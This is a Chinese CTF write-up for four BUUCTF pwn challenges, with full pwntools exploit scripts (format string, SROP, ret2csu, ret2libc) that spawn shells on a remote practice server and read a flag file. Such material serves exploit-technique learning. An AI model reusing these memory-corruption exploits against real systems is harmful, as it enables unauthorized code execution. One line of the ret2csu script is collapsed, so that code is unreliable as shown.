PWN-PRACTICE-BUUCTF-7

  • jarvisoj_fm
  • ciscn_2019_s_3
    • SROP解法
    • ret2csu解法
  • bjdctf_2020_babystack2
  • [HarekazeCTF2019]baby_rop2

jarvisoj_fm

格式化字符串漏洞,可以测出我们的输入在栈上的偏移为11
自己构造或者使用fmtstr_payload构造payload均可,目标是让x==4

from pwn import *
#io=process('./jarvisoj_fm')
io=remote('node4.buuoj.cn',26047)
elf=ELF('./jarvisoj_fm')
x_addr=0x0804A02C
#payload='aaaa%14$naaa'+p32(x_addr)
payload=fmtstr_payload(11,{x_addr:4})
io.sendline(payload)
io.interactive()

ciscn_2019_s_3

先看保护,开了Partial RELRO和NX

main函数里只有一个vuln函数,F5后看到有sys_read和sys_write
利用系统调用,sys_read向栈上写入最多0x400字节数据,sys_write从栈上取出最多0x30字节数据
0x400和0x30均大于buf的0x10字节,于是可造成栈溢出和泄露栈
注意这里0x00000000004004EE后没有抬高栈,rbp和rsp始终是相同的,下面也是用rsp来寻址
于是栈溢出时,将buf的0x10字节覆盖完全后,直接跟想要ret过去的地址即可

再看gadgets处,将rax赋为15,然后返回,下面还有一条gadget将rax赋为59,然后返回
联系之前的syscall,系统调用号15对应sigreturn,系统调用号59对应execve

于是该题有两种解法,一是SROP,二是ret2csu,目标都是让程序执行execve("/bin/sh",0,0),而前提是必须通过sys_write泄露栈地址,进而计算出字符串"/bin/sh"的地址

SROP解法

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
gadgets=0x00000000004004DA
syscall=0x0000000000400517
payload="/bin/sh\x00"+"a"*8+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload="/bin/sh\x00"+"a"*8+p64(gadgets)+p64(syscall)+str(frame)
io.sendline(payload)
io.interactive()

ret2csu解法

#coding:utf-8
from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
rax_59=0x00000000004004E2
syscall=0x0000000000400517
pop_rdi_ret=0x00000000004005a3
payload="/bin/sh\x00"+p64(rax_59)+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
rax_59_stack=binsh+0x10
print(hex(rax_59_stack))
#gadget_2
gadget_2=0x0000000000400580
#gadget_1
gadget_1=0x000000000040059Adef com_gadget(rbx,rbp,r12,r13,r14,r15,main_addr):payload="/bin/sh\x00"+p64(rax_59)payload+=p64(gadget_1) payload+=p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload+=p64(gadget_2) payload+="a"*56 payload+=p64(main_addr) return payload
payload=com_gadget(0,1,rax_59_stack,0,0,59,pop_rdi_ret)
payload+=p64(binsh)+p64(syscall)
io.sendline(payload)
io.interactive()

bjdctf_2020_babystack2

输入长度时用"-1"绕过,后面就是简单的栈溢出,覆盖rip到backdoor

from pwn import *
#io=process('./bjdctf_2020_babystack2')
io=remote('node4.buuoj.cn',25885)
elf=ELF('./bjdctf_2020_babystack2')
backdoor=elf.sym['backdoor']
io.recvuntil('name:\n')
io.sendline('-1')
io.recvuntil('name?\n')
payload='a'*(0x10+8)+p64(backdoor)
io.sendline(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出,ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',28557)
#io=process('./babyrop2')
elf=ELF('./babyrop2')
libc=ELF('./libc.so.6')
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main=0x0000000000400636
pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
ret=0x00000000004004d1
s=0x0000000000400770
io.recvuntil("name? ")
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(s)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.sendline(payload)
io.recvline()
io.recvuntil("again, ")
read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("name? ")
io.sendline(payload)
io.sendline("cat /home/babyrop2/flag")
io.interactive()

PWN-PRACTICE-BUUCTF-7相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. [PWN] BUUCTF jarvisoj_fm

    [PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...

  5. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 使用dplyr进行数据操作(30个实例)
  2. 面向对象中类和类的关系
  3. C++ 调试帮助简介
  4. 网页怎么在图片上添加文字_教你同时将图片水印和文字水印添加到视频画面
  5. 得到Js文件的绝对路径或相对路径的两法
  6. Kernel中如何操作CPU及外设寄存器
  7. Qt文档阅读笔记-QThreadPool的解释及使用
  8. UC将发布高性能HTML5游戏引擎X-Canvas
  9. DPDK lcore学习笔记
  10. 如何使用ELK来监控性能
  11. CREO:CREO软件之零件【造型】样式栏之操作、平面、曲线、曲面、分析、优先选项的简介及其使用方法(图文教程)之详细攻略
  12. 基于php的小区物业管理系统
  13. 什么是推荐系统?推荐系统类型、用例和应用
  14. Stata:各类盈余管理指标Stata实现方法
  15. 有向图中判正环:POJ1860 货币交换
  16. 微信公众号编辑器图片上传后有白色背景
  17. 数智化未来5大趋势——CDEC2020中国数字智能生态大会上海站生态伙伴发展状况调查...
  18. 修改服务器默认纸张尺寸,默认打印纸张尺寸设定
  19. 微信图片翻译技术优化之路
  20. rtmp/rtsp播放器

热门文章

  1. JPA中的@MappedSuperclass
  2. 【Python笔记】异常处理
  3. 输入学生成绩,并按升序排列 Ascending.java
  4. 给管道注册事件,用于用户是否登录!
  5. greensock包使用
  6. 记一次 IIS 7.0 身份验证相关的问题解决
  7. JSP中使用iframe导致内层网页CSS失效问题的解决方案
  8. 关于java中nextline读取空白行的问题
  9. html代码 打开本地文件,打开本地HTML文件
  10. 丁丁打折网卷能用吗_微信群控还能用吗?现在什么群控还能使用吗?